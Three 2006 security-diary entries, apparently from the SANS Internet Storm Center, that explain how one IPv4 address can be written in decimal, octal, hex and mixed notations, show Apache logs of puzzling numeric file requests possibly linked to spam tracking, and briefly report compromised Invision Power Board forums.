The Social Security Number (SSN) comments got me to thinking about a couple of things.  First, since the highest SSN is 999-99-9999, what dotted-quad IP address does that convert to?  Let's see....   There are two ways to do this, one easier than the other.  Let's do the easy version first:
sachs ~> ping 999999999
PING 999999999 (59.154.201.255): 56 data bytes
^C
--- 999999999 ping statistics ---
16 packets transmitted, 0 packets received, 100% packet loss
sachs ~>

So we see that "999999999" converts to "59.154.201.255" but why?  The answer to this may be a review for many readers, but others are learning by reading diaries so here goes.  This would be "the hard way" if the method above is "the easy way."

Internet Protocol (IP) addresses can be expressed in many different ways.  Reader Colin sent us a note this past week pointing this out, and asked why so many methods are available particularly since so many users are easily confused and fooled by numbers other than the standard dotted quad.  Let's take the IP address above.  We already know two ways to express it:

Decimal        999999999
Dotted Quad   59.154.201.255
But why?  Well, the IP address in IP Version 4 (IPv4) is defined as a 32-bit field in the IP header.  (See RFC 791 for all of the gory details.)  A 32-bit number can be expressed in many forms, of which the dotted quad is the most common.  To get to a dotted-quad, you start with the 32 bits in their binary form
00111011 10011010 11001001 11111111
then convert the binary to hex
3B 9A C9 FF
then covert the four hex numbers into decimals in the range of 0-255 and insert dots where there spaces used to be
59.154.201.255
To make this really fun, you can ping an IP address (or use one of these notations in a URL) in many ways.  All of the following are equivalent:

Octal                           ~> ping 07346544777
Decimal                      ~> ping 999999999
Hex                         ~> ping 0x3b9ac9ff
Dotted Quad                     ~> ping 59.154.201.255
Dotted Quad with hex           ~> ping 0x3b.0x9a.0xc9.0xff
Dotted Quad with octal         ~> ping 073.0232.0311.0377
Dotted Quad with hex and octal  ~> ping 0x3b.0c9a.0311.0377
Dotted three-quarter-Quad       ~> ping 59.154.51711
OK, so enough fun.  Back to where we started.  What was the meaning of the mystery URLs?  I've got a hunch - this is probably some spyware causing infected machines (or clueless users opening bugged spam) to connect to a web server under the control of the hacker/spammer/evil-doer.  The evil one then looks at the logs via her sneaky back door account and can compare the name of the files requested (which do not have to exist) against a list of tracking numbers to see who actually opens the spam or activates the spyware.  Now the evil one has a list of "good" email addresses and a bonus - a live IP address that might yield additional value due to the level of clue coming from the operator.  That's not necessarily the final answer, just a hunch....

As for the SSN stuff, you can go the other way.  IP addresses below 59.154.201.255 are the only ones you can use, but that's just under one-fourth of the Internet so plenty of room to play.  Just for fun, somebody in the USA probably has the SSN of 301-85-9767 but has no idea what web site answers to the dotted-quad equivalent.  Care to find out?


Marcus H. Sachs
Handler on Duty

0 Comments

Published: 2006-07-01

Strange file names being requested from a web server

We just got a report of odd web page requests showing up in the logs of an apache server. The sources mostly look like DSL links or something similar and the strings don't fit typical URLs for the site being hit.

(the full path was cut out at the submitter's request).

[Fri Jun 30 19:52:42 2006] [error] [client 63.230.137.101] File does not exist: /public_html/316209509
[Fri Jun 30 19:52:47 2006] [error] [client 70.115.235.218] File does not exist: /public_html/316313362
[Fri Jun 30 19:53:51 2006] [error] [client 63.204.72.205] File does not exist: /public_html/317383671
[Fri Jun 30 19:53:57 2006] [error] [client 24.92.224.252] File does not exist: /public_html/317496937
[Fri Jun 30 19:56:38 2006] [error] [client 63.230.137.101] File does not exist: /public_html/320167344
[Fri Jun 30 19:56:50 2006] [error] [client 12.32.40.253] File does not exist: /public_html/320276720
[Fri Jun 30 19:57:56 2006] [error] [client 24.231.167.90] File does not exist: /public_html/321469620
[Fri Jun 30 19:58:16 2006] [error] [client 72.64.214.35] File does not exist: /public_html/321817318
[Fri Jun 30 19:58:40 2006] [error] [client 72.64.214.35] File does not exist: /public_html/321817318
[Fri Jun 30 19:58:58 2006] [error] [client 72.64.214.35] File does not exist: /public_html/322533383
[Fri Jun 30 19:59:09 2006] [error] [client 72.64.214.35] File does not exist: /public_html/322533383
[Fri Jun 30 20:00:55 2006] [error] [client 72.129.232.207] File does not exist: /public_html/324479048
[Fri Jun 30 20:01:11 2006] [error] [client 72.129.232.207] File does not exist: /public_html/324479048
[Fri Jun 30 20:01:20 2006] [error] [client 72.129.232.207] File does not exist: /public_html/324912765
[Fri Jun 30 20:01:41 2006] [error] [client 72.129.232.207] File does not exist: /public_html/324912765
[Fri Jun 30 20:02:43 2006] [error] [client 65.100.221.52] File does not exist: /public_html/326279398
[Fri Jun 30 20:03:09 2006] [error] [client 68.99.45.129] File does not exist: /public_html/326739763
[Fri Jun 30 20:04:48 2006] [error] [client 69.223.48.249] File does not exist: /public_html/328395301
[Fri Jun 30 20:10:58 2006] [error] [client 208.54.95.1] File does not exist: /public_html/334568052
[Fri Jun 30 20:12:33 2006] [error] [client 71.127.242.247] File does not exist: /public_html/336151271
[Fri Jun 30 20:14:09 2006] [error] [client 71.34.69.7] File does not exist: /public_html/337773022
[Fri Jun 30 20:14:17 2006] [error] [client 67.62.241.29] File does not exist: /public_html/337900488
[Fri Jun 30 20:15:56 2006] [error] [client 68.231.92.62] File does not exist: /public_html/339520509
[Fri Jun 30 20:16:31 2006] [error] [client 68.231.92.62] File does not exist: /public_html/339520509
[Fri Jun 30 20:18:32 2006] [error] [client 24.223.159.32] File does not exist: /public_html/342191087
[Fri Jun 30 20:20:07 2006] [error] [client 66.168.7.125] File does not exist: /public_html/343749240
[Fri Jun 30 20:25:26 2006] [error] [client 24.130.205.8] File does not exist: /public_html/349055506
[Fri Jun 30 20:25:54 2006] [error] [client 66.24.6.177] File does not exist: /public_html/349499852
[Fri Jun 30 20:26:38 2006] [error] [client 68.83.182.31] File does not exist: /public_html/350201707
[Fri Jun 30 20:27:37 2006] [error] [client 24.97.11.74] File does not exist: /public_html/351119708
[Fri Jun 30 20:28:28 2006] [error] [client 68.44.34.183] File does not exist: /public_html/351971861
[Fri Jun 30 20:28:52 2006] [error] [client 69.160.4.159] File does not exist: /public_html/352345333
[Fri Jun 30 20:29:03 2006] [error] [client 136.2.1.101] File does not exist: /public_html/352525757
[Fri Jun 30 20:30:36 2006] [error] [client 64.20.97.210] File does not exist: /public_html/354045978
[Fri Jun 30 20:31:08 2006] [error] [client 24.177.57.67] File does not exist: /public_html/354601534
[Fri Jun 30 20:31:35 2006] [error] [client 64.12.116.130] File does not exist: /public_html/355048072
[Fri Jun 30 20:32:03 2006] [error] [client 66.23.224.119] File does not exist: /public_html/355482168
[Fri Jun 30 20:32:27 2006] [error] [client 64.30.118.199] File does not exist: /public_html/355909769
[Fri Jun 30 20:35:22 2006] [error] [client 65.26.203.130] File does not exist: /public_html/358776005
[Fri Jun 30 21:03:10 2006] [error] [client 66.56.66.106] File does not exist: /public_html/386018581
[Fri Jun 30 21:03:11 2006] [error] [client 66.56.66.106] File does not exist: /public_html/386018581


If anyone has thoughts on what the requests might be looking for, let us know.

0 Comments

Published: 2006-07-01

Reports of web forums running Invision Power Board being compromised

We've had a couple reports of forums that are running on Invision Power Board being hacked and used to push adware onto visitors' systems. At this point we don't have much information, if anyone has details or can confirm or correct our current info please let us know.

0 Comments